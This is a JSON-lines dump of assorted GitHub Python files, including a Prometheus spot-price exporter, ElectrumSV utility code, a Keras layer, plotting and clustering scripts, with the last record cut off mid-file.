+{"seq_id":"39953872569","text":"objetive=int(input(\"Ingrese un numero entero => \"))\nepsilon=0.000001\nlow=0.0\nhigh=max(1,0,objetive)\nresponse=((high+low)/2)\n\nwhile abs(response**2-objetive)>=epsilon:\n    \n    print(f'low={low}, high={high}, reponse={response}')\n\n    if response**2<objetive:\n        low=response\n    else:\n        high=response\n\n    response=((high+low)/2)\n\nprint(f'La raiz cuadrada de: {objetive} es => {response}')","repo_name":"simon0820s/Python","sub_path":"python_utils/binary_search.py","file_name":"binary_search.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"32824613994","text":"import datetime\n\ndef main(j, args, params, tags, tasklet):\n    try:\n        import ujson as json\n    except:\n        import json\n\n    page = args.page\n\n    filters = dict()\n    for tag, val in args.tags.tags.iteritems():\n        val = args.getTag(tag)\n        if not val:\n            continue\n        if tag == 'from' and val:\n            filters['timeStart'] = {'$gte': j.base.time.getEpochAgo(val)}\n        elif tag == 'to' and val:\n            filters['timeStop'] = {'$lte': j.base.time.getEpochAgo(val)}\n        elif tag == 'organization':\n            filters['category'] = val\n        elif tag == 'jsname':\n            filters['cmd'] = val\n        elif tag in ('nid', 'gid') and val:\n            filters[tag] = int(val)\n        elif tag == 'filter':\n            filter = json.loads(val or 'null')\n            filters.update(filter)\n        elif val:\n            filters[tag] = val\n\n    modifier = j.html.getPageModifierGridDataTables(page)\n    def makeLink(row, field):\n        time = modifier.makeTime(row, field)\n        return '[%s|/grid/job?id=%s]'  % (time, row['guid'])\n\n    def makeResult(row, field):\n        result = row[field]\n        try:\n            result = json.loads(result)\n        except:\n            pass\n        return j.html.escape(str(result))\n\n    fieldnames = ['Create Time', 'Start', 'Stop', 'Category', 'Command', 'Queue', 'State']\n    fieldvalues = [makeLink, modifier.makeTimeOnly, modifier.makeTimeOnly, 'category', 'cmd', 'queue', 'state']\n    fieldids = ['timeCreate', 'timeStart', 'timeStop', 'category', 'cmd', 'queue', 'state']\n    tableid = modifier.addTableForModel('system', 'job', fieldids, fieldnames, fieldvalues, nativequery=filters)\n    modifier.addSearchOptions('#%s' % tableid)\n    modifier.addSorting('#%s' % tableid, 0, 'desc')\n\n    params.result = page\n    return params\n\n\ndef match(j, args, params, tags, tasklet):\n    return True\n","repo_name":"Cloudxtreme/jumpscale_portal","sub_path":"apps/gridportal/base/Grid/.macros/page/jobs/1_jobs.py","file_name":"1_jobs.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"21450815167","text":"# Replace the text in the Storage Location to the desired pipeline storage location. This can be found in the pipeline configuration under 'storage'.\n\nstorage_location = \"dbfs:/pipelines/XXXXXXXXXXXXXXXXXXXXXXX\"\n\nevent_log_path = storage_location + \"/system/events\"\n\n# Read the event log into a temporary view so it's easier to query.\n\nevent_log = spark.read.format('delta').load(event_log_path)\n\nevent_log.createOrReplaceTempView(\"event_log_raw\")\n","repo_name":"mathias-weber-IT/PublicFiles","sub_path":"DatabricksNotebooks/DataQuality/LoadEventLog.py","file_name":"LoadEventLog.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"13781891553","text":"from prometheus_client import start_http_server, Metric, REGISTRY\nimport argparse\nimport json\nimport logging\nimport requests\nimport sys\nimport time\n\n# logging setup\nlog = logging.getLogger('spotinstance')\nlog.setLevel(logging.INFO)\nch = logging.StreamHandler(sys.stdout)\nch.setLevel(logging.INFO)\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nch.setFormatter(formatter)\nlog.addHandler(ch)\n\nclass SpotMetric():\n  def __init__(self):\n    self.endpoint = 'http://spot-price.s3.amazonaws.com/spot.js'\n\n  def collect(self):\n    # query the api\n    r = requests.get(self.endpoint)\n    request_time = r.elapsed.total_seconds()\n    log.info('elapsed time -' + str(request_time))\n    response = json.loads(r.text[ r.text.index(\"(\") + 1 : r.text.rindex (\")\") ])\n    metric = Metric('spotinstance_api_response_time', 'Total time for the AWS Spot Instance API to respond.', 'summary')\n    # add the response time as a metric\n    metric.add_sample('spotinstance_api_response_time', value=float(request_time), labels={'name': 'AWS Spot Instance Pricing API'})\n    yield metric\n    metric = Metric('spotinstance', 'spot instance pricing', 'gauge')\n    # each['region'] = us-east\n    for each in response['config']['regions']:\n      # each['sizes'] = list of instance sizes\n      for that in each['instanceTypes']:\n        for it in that['sizes']:\n          if it['valueColumns'][0]['prices']['USD'] != 'N/A*':\n            metric.add_sample('spotinstance', value=float(it['valueColumns'][0]['prices']['USD']), labels={'region': each['region'], 'size': it['size'].replace('.', '_')})\n    yield metric\n\nif __name__ == '__main__':\n  try:\n    parser = argparse.ArgumentParser(\n      description=__doc__,\n      formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n    parser.add_argument('--port', nargs='?', const=9101, help='The TCP port to listen on.  Defaults to 9101.', default=9101)\n    args = parser.parse_args()\n    log.info(args.port)\n  \n    REGISTRY.register(SpotMetric())\n    start_http_server(int(args.port))\n    while True:\n      time.sleep(60)\n  except KeyboardInterrupt:\n    print(\" Interrupted\")\n    exit(0)\n","repo_name":"bonovoxly/spotinstance-exporter","sub_path":"spotinstance.py","file_name":"spotinstance.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27166029634","text":"from collections import defaultdict\nfrom decimal import Decimal\nfrom datetime import datetime\nimport json\nimport hmac\nimport os\nimport socket\nimport ssl\nimport stat\nimport sys\nimport threading\nimport time\nimport types\nfrom typing import Any, cast, Dict, Iterable, List, Optional, Sequence, Tuple\n\nfrom bitcoinx import PublicKey, be_bytes_to_int\n\nfrom ..logs import logs\nfrom ..startup import package_dir\nfrom ..version import PACKAGE_DATE\n\n\ndef inv_dict(d):\n    return {v: k for k, v in d.items()}\n\n\ndef protocol_tuple(s):\n    '''Converts a protocol version number, such as \"1.0\" to a tuple (1, 0).\n\n    If the version number is bad, (0, ) indicating version 0 is returned.'''\n    try:\n        return tuple(int(part) for part in s.split('.'))\n    except (TypeError, ValueError, AttributeError):\n        raise ValueError(f'invalid protocol version: {s}') from None\n\n\ndef version_string(ptuple):\n    '''Convert a version tuple such as (1, 2) to \"1.2\".\n    There is always at least one dot, so (1, ) becomes \"1.0\".'''\n    while len(ptuple) < 2:\n        ptuple += (0, )\n    return '.'.join(str(p) for p in ptuple)\n\n\nclass MyEncoder(json.JSONEncoder):\n    # https://github.com/PyCQA/pylint/issues/414\n    def default(self, o): # pylint: disable=method-hidden\n        from ..transaction import Transaction\n        if isinstance(o, Transaction):\n            return o.to_dict()\n        return super(MyEncoder, self).default(o)\n\n\nclass JSON:\n\n    classes: Dict[Any, Any] = {}\n\n    @classmethod\n    def register(cls, *classes):\n        for klass in classes:\n            cls.classes[klass.__name__] = klass\n\n    @classmethod\n    def dumps(cls, obj, **kwargs):\n        def encode_obj(obj):\n            class_name = obj.__class__.__name__\n            if class_name not in cls.classes:\n                raise TypeError(f'object of type {class_name} is not JSON serializable')\n            return {'_sv': (class_name, obj.to_json())}\n\n        kwargs['default'] = encode_obj\n        return json.dumps(obj, **kwargs)\n\n    @classmethod\n    def loads(cls, s, **kwargs):\n        def decode_obj(obj):\n            if '_sv' in obj:\n                class_name, ser = obj['_sv']\n                obj = cls.classes[class_name].from_json(ser)\n            return obj\n\n        kwargs['object_hook'] = decode_obj\n        return json.loads(s, **kwargs)\n\n\nclass DaemonThread(threading.Thread):\n    \"\"\" daemon thread that terminates cleanly \"\"\"\n\n    def __init__(self, name):\n        threading.Thread.__init__(self)\n        self.name = name\n        self.parent_thread = threading.currentThread()\n        self.running = False\n        self.running_lock = threading.Lock()\n        self.job_lock = threading.Lock()\n        self.jobs = []\n        self.logger = logs.get_logger(f'{name} thread')\n\n    def add_jobs(self, jobs):\n        with self.job_lock:\n            self.jobs.extend(jobs)\n\n    def run_jobs(self):\n        # Don't let a throwing job disrupt the thread, future runs of\n        # itself, or other jobs.  This is useful protection against\n        # malformed or malicious server responses\n        with self.job_lock:\n            for job in self.jobs:\n                try:\n                    job.run()\n                except Exception as e:\n                    self.logger.exception(\"running job\")\n\n    def remove_jobs(self, jobs):\n        with self.job_lock:\n            for job in jobs:\n                self.jobs.remove(job)\n\n    def start(self):\n        with self.running_lock:\n            self.running = True\n        return threading.Thread.start(self)\n\n    def is_running(self):\n        with self.running_lock:\n            return self.running and self.parent_thread.is_alive()\n\n    def stop(self):\n        with self.running_lock:\n            self.running = False\n\n    def on_stop(self):\n        self.logger.debug(\"stopped\")\n\n\n# Method decorator.  To be used for calculations that will always\n# deliver the same result.  The method cannot take any arguments\n# and should be accessed as an attribute.\nclass cachedproperty(object):\n\n    def __init__(self, f):\n        self.f = f\n\n    def __get__(self, obj, type):\n        obj = obj or type\n        value = self.f(obj)\n        setattr(obj, self.f.__name__, value)\n        return value\n\ndef json_encode(obj):\n    try:\n        s = json.dumps(obj, sort_keys = True, indent = 4, cls=MyEncoder)\n    except TypeError:\n        s = repr(obj)\n    return s\n\ndef json_decode(x):\n    try:\n        return json.loads(x, parse_float=Decimal)\n    except Exception:\n        return x\n\n\n# taken from Django Source Code\ndef constant_time_compare(val1, val2):\n    \"\"\"Return True if the two strings are equal, False otherwise.\"\"\"\n    return hmac.compare_digest(to_bytes(val1, 'utf8'), to_bytes(val2, 'utf8'))\n\n\n# decorator that prints execution time\ndef profiler(func):\n    def do_profile(func, args, kw_args):\n        n = func.__name__\n        logger = logs.get_logger(\"profiler\")\n        t0 = time.time()\n        o = func(*args, **kw_args)\n        t = time.time() - t0\n        logger.debug(\"%s %.4f\", n, t)\n        return o\n    return lambda *args, **kw_args: do_profile(func, args, kw_args)\n\n\ndef android_ext_dir():\n    try:\n        import jnius\n        env = jnius.autoclass('android.os.Environment')\n    except ImportError:\n        from android.os import Environment as env  # Chaquopy import hook\n    return env.getExternalStorageDirectory().getPath()\n\n\ndef assert_datadir_available(config_path):\n    path = config_path\n    if os.path.exists(path):\n        return\n    else:\n        raise FileNotFoundError(\n            'ElectrumSV datadir does not exist. Was it deleted while running?' + '\\n' +\n            'Should be at {}'.format(path))\n\ndef assert_file_in_datadir_available(path, config_path):\n    if os.path.exists(path):\n        return\n    else:\n        assert_datadir_available(config_path)\n        raise FileNotFoundError(\n            'Cannot find file but datadir is there.' + '\\n' +\n            'Should be at {}'.format(path))\n\ndef assert_bytes(*args):\n    \"\"\"\n    porting helper, assert args type\n    \"\"\"\n    try:\n        for x in args:\n            assert isinstance(x, (bytes, bytearray))\n    except AssertionError:\n        logs.root.error('assert bytes failed %s', [type(arg) for arg in args])\n        raise\n\n\ndef assert_str(*args):\n    \"\"\"\n    porting helper, assert args type\n    \"\"\"\n    for x in args:\n        assert isinstance(x, str)\n\n\ndef random_integer(nbits):\n    nbytes = (nbits + 7) // 8\n    return be_bytes_to_int(os.urandom(nbytes)) % (1 << nbits)\n\n\ndef to_string(x, enc):\n    if isinstance(x, (bytes, bytearray)):\n        return x.decode(enc)\n    if isinstance(x, str):\n        return x\n    else:\n        raise TypeError(\"Not a string or bytes like object\")\n\ndef to_bytes(something, encoding='utf8') -> bytes:\n    \"\"\"\n    cast string to bytes() like object, but for python2 support it's bytearray copy\n    \"\"\"\n    if isinstance(something, bytes):\n        return something\n    if isinstance(something, str):\n        return something.encode(encoding)\n    elif isinstance(something, bytearray):\n        return bytes(something)\n    else:\n        raise TypeError(\"Not a string or bytes like object\")\n\n\nbfh = bytes.fromhex\n\n\ndef bh2u(x):\n    \"\"\"\n    str with hex representation of a bytes-like object\n\n    >>> x = bytes((1, 2, 10))\n    >>> bh2u(x)\n    '01020A'\n\n    :param x: bytes\n    :rtype: str\n    \"\"\"\n    return x.hex()\n\ndef get_electron_cash_user_dir(esv_user_dir):\n    \"\"\"Convert the ESV user directory to what it would be in Electron Cash.\n    This should allow the Electron Cash directory for the platform to be\n    located.\n\n    Arguments:\n    esv_user_dir --- the ElectrumSV `user_dir` generated path.\n    \"\"\"\n    from electrumsv.app_state import app_state\n    if app_state.config.cmdline_options['portable']:\n        esv_user_dir = esv_user_dir.replace(\"electrum_sv_data\", \"electron_cash_data\")\n    else:\n        esv_user_dir = esv_user_dir.replace(\".electrum-sv\", \".electron-cash\")\n        esv_user_dir = esv_user_dir.replace(\"ElectrumSV\", \"ElectronCash\")\n    return esv_user_dir\n\n\ndef make_dir(path):\n    # Make directory if it does not yet exist.\n    if not os.path.exists(path):\n        if os.path.islink(path):\n            raise Exception('Dangling link: ' + path)\n        os.mkdir(path)\n        os.chmod(path, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR)\n\n\ndef format_satoshis_plain(x, decimal_point = 8):\n    \"\"\"Display a satoshi amount scaled.  Always uses a '.' as a decimal\n    point and has no thousands separator\"\"\"\n    scale_factor = pow(10, decimal_point)\n    return \"{:.8f}\".format(Decimal(x) / scale_factor).rstrip('0').rstrip('.')\n\n\ndef format_satoshis(x: Optional[int], num_zeros=0, decimal_point=8, precision=None,\n                    is_diff=False, whitespaces=False) -> str:\n    from locale import localeconv\n    if x is None:\n        return 'unknown'\n    if precision is None:\n        precision = decimal_point\n    decimal_format = \",.0\" + str(precision) if precision > 0 else \"\"\n    if is_diff:\n        decimal_format = '+' + decimal_format\n    fmt_string = \"{:\" + decimal_format + \"f}\"\n    result = (fmt_string).format(x / pow (10, decimal_point)).rstrip('0')\n    integer_part, fract_part = result.split(\".\")\n    dp = cast(str, localeconv()['decimal_point'])\n    if len(fract_part) < num_zeros:\n        fract_part += \"0\" * (num_zeros - len(fract_part))\n    result = integer_part + dp + fract_part\n    if whitespaces:\n        result += \" \" * (decimal_point - len(fract_part))\n        result = \" \" * (15 - len(result)) + result\n    return result\n\ndef format_fee_satoshis(fee, num_zeros=0):\n    return format_satoshis(fee, num_zeros, 0, precision=num_zeros)\n\ndef timestamp_to_datetime(timestamp):\n    try:\n        return datetime.fromtimestamp(timestamp)\n    except Exception:\n        return None\n\ndef format_time(timestamp, default_text):\n    date = timestamp_to_datetime(timestamp)\n    return date.isoformat(' ')[:-3] if date else default_text\n\n\n# Takes a timestamp and returns a string with the approximation of the age\ndef age(from_date, since_date = None, target_tz=None, include_seconds=False):\n    if from_date is None:\n        return \"Unknown\"\n\n    from_date = datetime.fromtimestamp(from_date)\n    if since_date is None:\n        since_date = datetime.now(target_tz)\n\n    td = time_difference(from_date - since_date, include_seconds)\n    return td + \" ago\" if from_date < since_date else \"in \" + td\n\n\ndef time_difference(distance_in_time, include_seconds):\n    #distance_in_time = since_date - from_date\n    distance_in_seconds = int(round(abs(distance_in_time.days * 86400 + distance_in_time.seconds)))\n    distance_in_minutes = int(round(distance_in_seconds/60))\n\n    if distance_in_minutes <= 1:\n        if include_seconds:\n            for remainder in [5, 10, 20]:\n                if distance_in_seconds < remainder:\n                    return \"less than %s seconds\" % remainder\n            if distance_in_seconds < 40:\n                return \"half a minute\"\n            elif distance_in_seconds < 60:\n                return \"less than a minute\"\n            else:\n                return \"1 minute\"\n        else:\n            if distance_in_minutes == 0:\n                return \"less than a minute\"\n            else:\n                return \"1 minute\"\n    elif distance_in_minutes < 45:\n        return \"%s minutes\" % distance_in_minutes\n    elif distance_in_minutes < 90:\n        return \"about 1 hour\"\n    elif distance_in_minutes < 1440:\n        return \"about %d hours\" % (round(distance_in_minutes / 60.0))\n    elif distance_in_minutes < 2880:\n        return \"1 day\"\n    elif distance_in_minutes < 43220:\n        return \"%d days\" % (round(distance_in_minutes / 1440))\n    elif distance_in_minutes < 86400:\n        return \"about 1 month\"\n    elif distance_in_minutes < 525600:\n        return \"%d months\" % (round(distance_in_minutes / 43200))\n    elif distance_in_minutes < 1051200:\n        return \"about 1 year\"\n    else:\n        return \"over %d years\" % (round(distance_in_minutes / 525600))\n\n# Python bug (http://bugs.python.org/issue1927) causes raw_input\n# to be redirected improperly between stdin/stderr on Unix systems\n#TODO: py3\ndef raw_input(prompt=None):\n    if prompt:\n        sys.stdout.write(prompt)\n    return builtin_raw_input()\n\nimport builtins\nbuiltin_raw_input = builtins.input\nbuiltins.input = raw_input\n\n\ndef parse_json(message):\n    # TODO: check \\r\\n pattern\n    n = message.find(b'\\n')\n    if n==-1:\n        return None, message\n    try:\n        j = json.loads(message[0:n].decode('utf8'))\n    except Exception:\n        j = None\n    return j, message[n+1:]\n\n\nclass timeout(Exception):\n    pass\n\nTimeoutException = timeout # Future compat. with Electrum codebase/cherrypicking\n\n\nclass SocketPipe:\n    def __init__(self, socket):\n        self.socket = socket\n        self.message = b''\n        self.set_timeout(0.1)\n        self.recv_time = time.time()\n        self.logger = logs.get_logger('SocketPipe')\n\n    def set_timeout(self, t):\n        self.socket.settimeout(t)\n\n    def idle_time(self):\n        return time.time() - self.recv_time\n\n    def get(self):\n        while True:\n            response, self.message = parse_json(self.message)\n            if response is not None:\n                return response\n            try:\n                data = self.socket.recv(1024)\n            except socket.timeout:\n                raise timeout\n            except ssl.SSLError:\n                raise timeout\n            except socket.error as err:\n                if err.errno == 60:\n                    raise timeout\n                elif err.errno in [11, 35, 10035]:\n                    self.logger.info(\"socket errno %d (resource temporarily unavailable)\",\n                                     err.errno)\n                    time.sleep(0.2)\n                    raise timeout\n                else:\n                    self.logger.exception(f\"socket.recv unknown socket.error {err.errno}\")\n                    data = b''\n            except Exception as e:\n                self.logger.exception(\"socket.recv unknown exception {e}\")\n                data = b''\n\n            if not data:  # Connection closed remotely\n                return None\n            self.message += data\n            self.recv_time = time.time()\n\n    def send(self, request):\n        out = json.dumps(request) + '\\n'\n        out = out.encode('utf8')\n        self._send(out)\n\n    def send_all(self, requests):\n        out = b''.join((json.dumps(request) + '\\n').encode('utf8') for request in requests)\n        self._send(out)\n\n    def _send(self, out):\n        while out:\n            sent = self.socket.send(out)\n            out = out[sent:]\n\n\ndef setup_thread_excepthook():\n    \"\"\"\n    Workaround for `sys.excepthook` thread bug from:\n    http://bugs.python.org/issue1230540\n\n    Call once from the main thread before creating any threads.\n    \"\"\"\n\n    init_original = threading.Thread.__init__\n\n    def init(self, *args, **kwargs):\n\n        init_original(self, *args, **kwargs)\n        run_original = self.run\n\n        def run_with_except_hook(*args2, **kwargs2):\n            try:\n                run_original(*args2, **kwargs2)\n            except Exception:\n                sys.excepthook(*sys.exc_info())\n\n        self.run = run_with_except_hook\n\n    threading.Thread.__init__ = init\n\n\ndef get_wallet_name_from_path(wallet_path: str) -> str:\n    return os.path.splitext(os.path.basename(wallet_path))[0]\n\ndef versiontuple(v: str) -> Sequence[int]:\n    return tuple(int(x) for x in v.split(\".\"))\n\ndef resource_path(*parts: Sequence[str]) -> str:\n    return os.path.join(package_dir, \"data\", *parts) # type: ignore\n\ndef read_resource_file(filename: str) -> str:\n    path = resource_path(filename)\n    with open(path, 'r') as f:\n        return f.read()\n\ndef text_resource_path(*parts: Sequence[str]) -> str:\n    return resource_path(\"text\", *parts) # type: ignore\n\ndef read_resource_text(*parts: Sequence[str]) -> str:\n    return read_resource_file(os.path.join(\"text\", *parts)) # type: ignore\n\ndef get_update_check_dates(new_date):\n    from dateutil.parser import isoparse\n    # This is the latest stable release date.\n    release_date = isoparse(new_date).astimezone()\n    # This is the rough date of the current release (might be stable or unstable).\n    current_date = isoparse(PACKAGE_DATE).astimezone()\n    return release_date, current_date\n\ndef get_identified_release_signers(entry):\n    signature_addresses = [\n        (\"rt121212121\", \"1Bu6ABvLAXn1ARFo1gjq6sogpajGbp6iK6\"),\n        (\"kyuupichan\", \"1BH8E3TkuJMCcH5WGD11kVweKZuhh6vb7V\"),\n    ]\n\n    release_version = entry['version']\n    release_date = entry['date']\n    release_signatures = entry.get('signatures', [])\n\n    message = release_version + release_date\n    signed_names = set()\n    for signature in release_signatures:\n        for signer_name, signer_address in signature_addresses:\n            if signer_name not in signed_names:\n                # They are mainnet addresses\n                if PublicKey.verify_message_and_address(signature, message, signer_address):\n                    signed_names.add(signer_name)\n                    break\n    return signed_names\n\n\ndef chunks(items, size):\n    '''Break up items, an iterable, into chunks of length size.'''\n    for i in range(0, len(items), size):\n        yield items[i: i + size]\n\n\nclass TriggeredCallbacks:\n    def __init__(self) -> None:\n        self._callbacks: Dict[str, List[Any]] = defaultdict(list)\n        self._callback_lock = threading.Lock()\n        self._callback_logger = logs.get_logger(\"callback-logger\")\n\n    def register_callback(self, callback: Any, events: List[str]) -> None:\n        with self._callback_lock:\n            for event in events:\n                if callback in self._callbacks[event]:\n                    self._callback_logger.error(\"Callback reregistered %s %s\", event, callback)\n                    continue\n                self._callbacks[event].append(callback)\n\n    def unregister_callback(self, callback) -> None:\n        with self._callback_lock:\n            for callbacks in self._callbacks.values():\n                if callback in callbacks:\n                    callbacks.remove(callback)\n\n    def unregister_callbacks_for_object(self, owner: object) -> None:\n        with self._callback_lock:\n            for callbacks in self._callbacks.values():\n                for callback in callbacks[:]:\n                    if isinstance(callback, types.MethodType):\n                        if callback.__self__ is owner:\n                            callbacks.remove(callback)\n\n    def trigger_callback(self, event: str, *args) -> None:\n        with self._callback_lock:\n            callbacks = self._callbacks[event][:]\n        [callback(event, *args) for callback in callbacks]\n","repo_name":"electrumsv/electrumsv","sub_path":"electrumsv/util/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":18694,"program_lang":"python","lang":"en","doc_type":"code","stars":137,"dataset":"github-code","pt":"77"}
+{"seq_id":"70719390010","text":"\"\"\"\r\n==========================================\r\nCopyright (C) 2020 Pattern Recognition and Machine Learning Group   \r\nAll rights reserved\r\nDescription:\r\nCreated by Li Wei at 2020/11/17 20:19\r\nEmail:1280358009@qq.com\r\n==========================================\r\n\"\"\"\r\n\r\nimport os\r\nimport pickle\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.cm as cm\r\nimport seaborn as sns\r\n\r\nsns.set_style('whitegrid')\r\n\r\nOriginalPath = 'data'\r\nfiles = []\r\nfor dirpath, dirnames, filenames in os.walk(OriginalPath):\r\n    # print(dirpath, dirnames, filenames)\r\n    path = [os.path.join(dirpath, names) for names in filenames]\r\n    files.extend(path)\r\ndata = []\r\n# test = './data/cifar10/cifar10_loss_4.pkl'\r\n# fr = open(test, 'rb')\r\n# inf = pickle.load(fr)\r\nfor file in files:\r\n    print(file)\r\n    fr = open(file, 'rb')\r\n    inf = pickle.load(fr)\r\n    data.append(inf)\r\n    fr.close()\r\ndatas = []\r\noptim_names_1 = list(data[0].keys())\r\noptim_names_2 = list(data[10].keys())\r\n\r\nfor m in range(len(data)):\r\n    print(m)\r\n    optims = list(data[m].keys())\r\n    tmp = [data[m][optims[i]] for i in range(len(optims))]\r\n    datas.append(tmp)\r\n\r\ndataset, ylabel = 'minst', 'Test accuracy'\r\n\r\n# acc_cifar10 = datas[5:10]\r\n# acc_cifar10 = datas[15:20]\r\nacc_cifar10 = datas[25:]\r\n\r\n# acc_cifar100 = datas[15:20]\r\n# acc_mnist = datas[25:]\r\n\r\n\r\ndel datas\r\nacc_cifar10_np = np.array(acc_cifar10)\r\nacc_cifar10_np_transpose = np.transpose(acc_cifar10_np, axes=(1, 0, 2))\r\n\r\n# acc_cifar10_6 = []\r\n# for i in range(len(acc_cifar10[0])):   # i=0,1,..,5\r\n#     tmp = []\r\n#     for j in range(len(acc_cifar10)): # j=0,1,..,4\r\n#         tmp.append([])\r\n#\r\n#     acc_cifar10_6.append(tmp)\r\ndel data\r\n\r\nreturnavg = []\r\nreturnstd = []\r\ncolor = ['blue', 'red', 'yellow', 'olive', 'green', 'grey']\r\nfor i in range(len(acc_cifar10_np_transpose)):\r\n    returnavg.append(np.mean(np.array(acc_cifar10_np_transpose[i]), axis=0))\r\n    returnstd.append(np.std(np.array(acc_cifar10_np_transpose[i]), axis=0))\r\n\r\nax = plt.subplots(1, 1)\r\nfor i in range(6):\r\n    plt.plot([j for j in range(1, len(returnavg[i]) + 1)], returnavg[i], color=color[i])\r\n    r1 = list(map(lambda x: x[0] - x[1], zip(returnavg[i], returnstd[i])))\r\n    r2 = list(map(lambda x: x[0] + x[1], zip(returnavg[i], returnstd[i])))\r\n    plt.fill_between([j for j in range(1, len(returnavg[i]) + 1)], r1, r2, color=color[i], alpha=0.1)\r\n    # plt.ylim(0.66, 0.74)\r\n    # plt.ylim(0.3, 0.44)\r\n    plt.ylim(0.986, 0.994)\r\n\r\nplt.legend(optim_names_1)\r\nplt.xlabel('Epoch')\r\nplt.ylabel(ylabel)\r\n# plt.title('Training result on {}'.format(dataset))\r\n\r\nexp_dir = 'Plot_complex/'\r\nif not os.path.exists(exp_dir):\r\n    os.makedirs(exp_dir, exist_ok=True)\r\nplt.savefig(os.path.join('Plot_complex', '{}_{}'.format(dataset, ylabel) + '.png'), dpi=300)\r\n\r\nprint('over')\r\nprint('love world')\r\n","repo_name":"liweiowl/DrawFigures","sub_path":"draw_charts_complex.py","file_name":"draw_charts_complex.py","file_ext":"py","file_size_in_byte":2819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"12132770906","text":"from keras.engine.topology import Layer\nfrom keras import initializations\nimport numpy as np\nimport keras.backend as K\n\n\n\n\n\nclass DistanceMetric( Layer ):\n\tdef __init__( self, alpha_init = 0.2, beta_init = 5.0,\n\t              weights = None, **kwargs ):\n\t\tself.supports_masking = False\n\t\t# self.alpha_init = K.cast_to_floatx( alpha_init )\n\t\t# self.beta_init = K.cast_to_floatx( beta_init )\n\t\tself.initial_weights = weights\n\t\tsuper( DistanceMetric, self ).__init__( **kwargs )\n\n\tdef build( self, input_shape ):\n\t\tinput_shape = input_shape[ 1: ]\n\t\t# self.alphas = K.variable( self.alpha_init * np.ones( input_shape ),\n\t\t#                           name = '{}_alphas'.format( self.name ) )\n\t\t# self.betas = K.variable( self.beta_init * np.ones( input_shape ),\n\t\t#                          name = '{}_betas'.format( self.name ) )\n\t\t# self.trainable_weights = [ self.alphas, self.betas ]\n\n\t\tif self.initial_weights is not None:\n\t\t\tself.set_weights( self.initial_weights )\n\t\t\tdel self.initial_weights\n\n\tdef call(self, x, mask=None):\n\t\tDistanceMetric.__call__(x,mask)\n\n\tdef __call__( self, x, mask = None ):\n\t\tdotProd=K.dot(x[:len(x)/2],x[len(x)/2:])\n\t\tl2norm = K.l2_normalize(dotProd)\n\t\treturn l2norm\n\n\tdef get_config( self ):\n\t\tconfig ={}\n\t\t# config = { 'alpha_init': self.alpha_init,\n\t\t#            'beta_init' : self.beta_init }\n\t\tbase_config = super( DistanceMetric, self ).get_config( )\n\t\treturn dict( list( base_config.items( ) ) + list( config.items( ) ) )\n","repo_name":"scparedes/sentiment-manifolds","sub_path":"activations.py","file_name":"activations.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"20274365304","text":"letters = [\"a\", \"b\", \"c\"]\nmatrix = [[0, 1], [2, 3]]\nzeros = [0] * 5\ncombined = zeros + letters\nnumbers = list(range(20))\nprint(combined)\nprint(numbers)\nchars = list(\"Hello world\")\nprint(chars)\nprint(len(chars))","repo_name":"RamgopalYalla/Python-practice-2","sub_path":"code 5/code5.1.py","file_name":"code5.1.py","file_ext":"py","file_size_in_byte":210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18646205098","text":"\nfrom sklearn.cluster import DBSCAN\n\ndef get_dbscan(dataframe, initial_eps=0.01):\n    eps = initial_eps\n    model = DBSCAN(eps=eps, min_samples=4)\n    model.fit(dataframe)\n    unlabeled = (model.labels_ == -1).astype(int).sum()\n    while unlabeled > dataframe.shape[0] * 0.1:\n        eps *= 1.1\n        model = DBSCAN(eps=eps, min_samples=4)\n        model.fit(dataframe)\n        unlabeled = (model.labels_ == -1).astype(int).sum()\n    return model.labels_","repo_name":"noycohen100/MARCO-GE","sub_path":"Algorithms/dbscan.py","file_name":"dbscan.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"77"}
+{"seq_id":"72005569208","text":"import codecs\nimport itertools\nimport logging\nimport regex\nimport os\n\n\ndef get_headers(file_path):\n  from collections import defaultdict\n  with codecs.open(file_path, \"r\", 'utf-8') as file_in:\n    headers = defaultdict()\n    line = file_in.readline()\n    if line.strip() != \"\":\n      # A dict without headers\n      return headers\n    for line in file_in:\n      line = line.strip()\n      if len(headers) > 0 and not line.startswith(\"#\"):\n        # All headers read\n        assert line == \"\", file_path\n        return headers\n      line = line[1:]\n      if \"=\" not in line:\n        logging.warning(\"Strange line: %s in %s\", line, file_path)\n        continue\n      [key, value] = line.split(\"=\")\n      headers[key] = value\n\n\ndef set_headers(file_path, headers):\n  from collections import defaultdict\n  lines = []\n  with codecs.open(file_path, \"r\", 'utf-8') as file_in:\n    lines = file_in.readlines()\n    lines = list(itertools.dropwhile(lambda x: x.strip() == \"\" or x.startswith(\"#\"), lines))\n\n  with codecs.open(file_path, \"w\", 'utf-8') as file_out:\n    if len(headers) > 0:\n      file_out.write(\"\\n\")\n      for key, value in headers.items():\n        file_out.write(\"#%s=%s\\n\" % (key, value))\n      file_out.write(\"\\n\")\n    for line in lines:\n      file_out.write(line)\n\n\ndef set_html_headers(headers=None):\n  if headers is None:\n    headers = {}\n  headers[\"sametypesequence\"] = \"h\"\n  headers[\"stripmethod\"] = \"keep\"\n  return headers\n\n\ndef get_default_headers(file_path):\n  from dict_curation.babylon import language\n  headers = {}\n  headers[\"bookname\"] = headers.get(\"bookname\", 